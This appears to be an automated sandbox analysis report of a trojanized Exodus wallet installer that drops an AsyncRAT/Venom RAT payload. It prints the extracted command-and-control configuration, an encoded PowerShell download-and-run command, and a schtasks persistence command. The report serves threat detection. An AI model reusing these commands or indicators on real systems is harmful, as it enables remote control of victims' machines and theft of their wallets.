Analysis
-
max time kernel
145s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
02-10-2022 15:57
Static task
static1
Behavioral task
behavioral1
Sample
exodus-windows-x64-22.9.8.exe
Resource
win7-20220901-en
General
-
Target
exodus-windows-x64-22.9.8.exe
-
Size
14.6MB
-
MD5
ca131fbef972abf335bf3e6b1a35351f
-
SHA1
e749e8fab09bdcf34c7ea51a71da789220407547
-
SHA256
4644d5d8f56afb7b2095ca5c209e840ad3a7dddaa294fa6a074283f0f6b1d956
-
SHA512
dc2b354acbeb29d06c9364b48cf13431b6a67fa4995c5667ec6d1511119763d67e92345a651a1649f072600cb42b858e84e78dc2b6b98370737a01b3cc81a1f7
-
SSDEEP
196608:m74MrKY0OTIFVog4I/fh5s3D0cnuiJAzZlX+Zt1Z7tPRW30M:IprKY0OTeKR8h5s3wcnM1lX+ZDlrW
Malware Config
Extracted
asyncrat
5.0.5
Exodus
operador.ddns.me:4448
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
-
delay
1
-
install
true
-
install_file
Exodus.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 5 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat behavioral2/memory/3768-168-0x0000000000A50000-0x0000000000A66000-memory.dmp asyncrat C:\Users\Admin\AppData\Roaming\Exodus.exe asyncrat C:\Users\Admin\AppData\Roaming\Exodus.exe asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 69 2264 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
exodus-windows-x64-22.9.8.exeExodus-Windows.exeExodus.exepid process 1456 exodus-windows-x64-22.9.8.exe 3768 Exodus-Windows.exe 2932 Exodus.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
RegAsm.exeExodus-Windows.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation RegAsm.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Exodus-Windows.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
exodus-windows-x64-22.9.8.exeexodus-windows-x64-22.9.8.exedescription pid process target process PID 4768 set thread context of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 set thread context of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 644 timeout.exe -
Suspicious behavior: EnumeratesProcesses 21 IoCs
Processes:
powershell.exeExodus-Windows.exepid process 2264 powershell.exe 2264 powershell.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe 3768 Exodus-Windows.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
exodus-windows-x64-22.9.8.exeexodus-windows-x64-22.9.8.exepowershell.exeExodus-Windows.exeExodus.exedescription pid process Token: SeDebugPrivilege 4768 exodus-windows-x64-22.9.8.exe Token: SeDebugPrivilege 1456 exodus-windows-x64-22.9.8.exe Token: SeDebugPrivilege 2264 powershell.exe Token: SeDebugPrivilege 3768 Exodus-Windows.exe Token: SeDebugPrivilege 2932 Exodus.exe -
Suspicious use of WriteProcessMemory 31 IoCs
Processes:
exodus-windows-x64-22.9.8.exeexodus-windows-x64-22.9.8.exeRegAsm.exepowershell.exeExodus-Windows.execmd.execmd.exedescription pid process target process PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 4768 wrote to memory of 3100 4768 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1456 wrote to memory of 2964 1456 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 2964 wrote to memory of 2264 2964 RegAsm.exe powershell.exe PID 2964 wrote to memory of 2264 2964 RegAsm.exe powershell.exe PID 2964 wrote to memory of 2264 2964 RegAsm.exe powershell.exe PID 2264 wrote to memory of 3768 2264 powershell.exe Exodus-Windows.exe PID 2264 wrote to memory of 3768 2264 powershell.exe Exodus-Windows.exe PID 3768 wrote to memory of 552 3768 Exodus-Windows.exe cmd.exe PID 3768 wrote to memory of 552 3768 Exodus-Windows.exe cmd.exe PID 3768 wrote to memory of 736 3768 Exodus-Windows.exe cmd.exe PID 3768 wrote to memory of 736 3768 Exodus-Windows.exe cmd.exe PID 552 wrote to memory of 4252 552 cmd.exe schtasks.exe PID 552 wrote to memory of 4252 552 cmd.exe schtasks.exe PID 736 wrote to memory of 644 736 cmd.exe timeout.exe PID 736 wrote to memory of 644 736 cmd.exe timeout.exe PID 736 wrote to memory of 2932 736 cmd.exe Exodus.exe PID 736 wrote to memory of 2932 736 cmd.exe Exodus.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe"C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exeC:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB1AHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYQB1AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABpAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGUAeABvAGQAdQBzAGQAbwB3AG4AbABvAGEAZAAuAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACwAIAA8ACMAZQBtAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHIAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHcAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACkAKQA8ACMAdgBqAGcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBhAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AcwBxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEUAeABvAGQAdQBzAC0AVwBpAG4AZABvAHcAcwAuAGUAeABlACcAKQA8ACMAaQBxAHgAIwA+AA=="3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe"C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Exodus" /tr '"C:\Users\Admin\AppData\Roaming\Exodus.exe"' & exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Exodus" /tr '"C:\Users\Admin\AppData\Roaming\Exodus.exe"'6⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB447.tmp.bat""5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 36⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\Exodus.exe"C:\Users\Admin\AppData\Roaming\Exodus.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\exodus-windows-x64-22.9.8.exe.logFilesize
902B
MD5317ed182314a105b8436cfd8bb3879f6
SHA1aa407b44619a9b06b18d8a39ce27a65b959598e1
SHA25634a156e5235a27901293bd8928b37d13724d62183e409f6d284110280c56f865
SHA51227bc617005ef36be6384484e5cec56d7165d1e9535c9a0b5546f1f082cc4bf5969acb573da77171ac7f4119c8cf50a3ced103cd21485569c9cfcf2e340468604
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exeFilesize
14.6MB
MD5ca131fbef972abf335bf3e6b1a35351f
SHA1e749e8fab09bdcf34c7ea51a71da789220407547
SHA2564644d5d8f56afb7b2095ca5c209e840ad3a7dddaa294fa6a074283f0f6b1d956
SHA512dc2b354acbeb29d06c9364b48cf13431b6a67fa4995c5667ec6d1511119763d67e92345a651a1649f072600cb42b858e84e78dc2b6b98370737a01b3cc81a1f7
-
C:\Users\Admin\AppData\Local\Temp\tmpB447.tmp.batFilesize
150B
MD5f77c7905cbdbd94d1359af4e7ce41c9b
SHA16df2cba1daeea616cdf828a041f8433bdcfdcbfd
SHA2561d791db5bde4a21c1572c67232303be4127106719ae067de1e89d0e7fa770471
SHA5129b23531f1a02d3de45aae7d7dbac4ee4bd5dae9202c2dd6f388c7c2bcf8f8e6f3d75e6b944ef55daaf599d4100865cfa3863b970e383c3495bee6b570c52f0b1
-
C:\Users\Admin\AppData\Roaming\Exodus.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Roaming\Exodus.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
memory/552-170-0x0000000000000000-mapping.dmp
-
memory/644-174-0x0000000000000000-mapping.dmp
-
memory/736-171-0x0000000000000000-mapping.dmp
-
memory/2264-147-0x0000000000000000-mapping.dmp
-
memory/2264-164-0x0000000007F70000-0x0000000007F92000-memory.dmpFilesize
136KB
-
memory/2264-149-0x0000000005BD0000-0x00000000061F8000-memory.dmpFilesize
6.2MB
-
memory/2264-150-0x0000000005810000-0x0000000005832000-memory.dmpFilesize
136KB
-
memory/2264-152-0x0000000005A20000-0x0000000005A86000-memory.dmpFilesize
408KB
-
memory/2264-151-0x00000000059B0000-0x0000000005A16000-memory.dmpFilesize
408KB
-
memory/2264-153-0x00000000068B0000-0x00000000068CE000-memory.dmpFilesize
120KB
-
memory/2264-154-0x0000000006E80000-0x0000000006EB2000-memory.dmpFilesize
200KB
-
memory/2264-155-0x0000000070FC0000-0x000000007100C000-memory.dmpFilesize
304KB
-
memory/2264-156-0x0000000006E60000-0x0000000006E7E000-memory.dmpFilesize
120KB
-
memory/2264-157-0x00000000082E0000-0x000000000895A000-memory.dmpFilesize
6.5MB
-
memory/2264-158-0x00000000079D0000-0x00000000079EA000-memory.dmpFilesize
104KB
-
memory/2264-159-0x0000000007A40000-0x0000000007A4A000-memory.dmpFilesize
40KB
-
memory/2264-160-0x0000000007EA0000-0x0000000007F36000-memory.dmpFilesize
600KB
-
memory/2264-161-0x0000000007E10000-0x0000000007E1E000-memory.dmpFilesize
56KB
-
memory/2264-162-0x0000000007E60000-0x0000000007E7A000-memory.dmpFilesize
104KB
-
memory/2264-163-0x0000000007E50000-0x0000000007E58000-memory.dmpFilesize
32KB
-
memory/2264-148-0x0000000002FB0000-0x0000000002FE6000-memory.dmpFilesize
216KB
-
memory/2932-179-0x00007FFDB4770000-0x00007FFDB5231000-memory.dmpFilesize
10.8MB
-
memory/2932-176-0x0000000000000000-mapping.dmp
-
memory/2964-146-0x0000000000400000-0x0000000000405000-memory.dmpFilesize
20KB
-
memory/2964-143-0x0000000000000000-mapping.dmp
-
memory/3100-138-0x00000000007A0000-0x00000000007A5000-memory.dmpFilesize
20KB
-
memory/3100-136-0x0000000000000000-mapping.dmp
-
memory/3768-168-0x0000000000A50000-0x0000000000A66000-memory.dmpFilesize
88KB
-
memory/3768-169-0x00007FFDB4770000-0x00007FFDB5231000-memory.dmpFilesize
10.8MB
-
memory/3768-175-0x00007FFDB4770000-0x00007FFDB5231000-memory.dmpFilesize
10.8MB
-
memory/3768-165-0x0000000000000000-mapping.dmp
-
memory/4252-172-0x0000000000000000-mapping.dmp
-
memory/4768-135-0x00000000061C0000-0x000000000625C000-memory.dmpFilesize
624KB
-
memory/4768-134-0x0000000006070000-0x0000000006102000-memory.dmpFilesize
584KB
-
memory/4768-133-0x00000000069D0000-0x0000000006F74000-memory.dmpFilesize
5.6MB
-
memory/4768-132-0x0000000000030000-0x0000000000EDC000-memory.dmpFilesize
14.7MB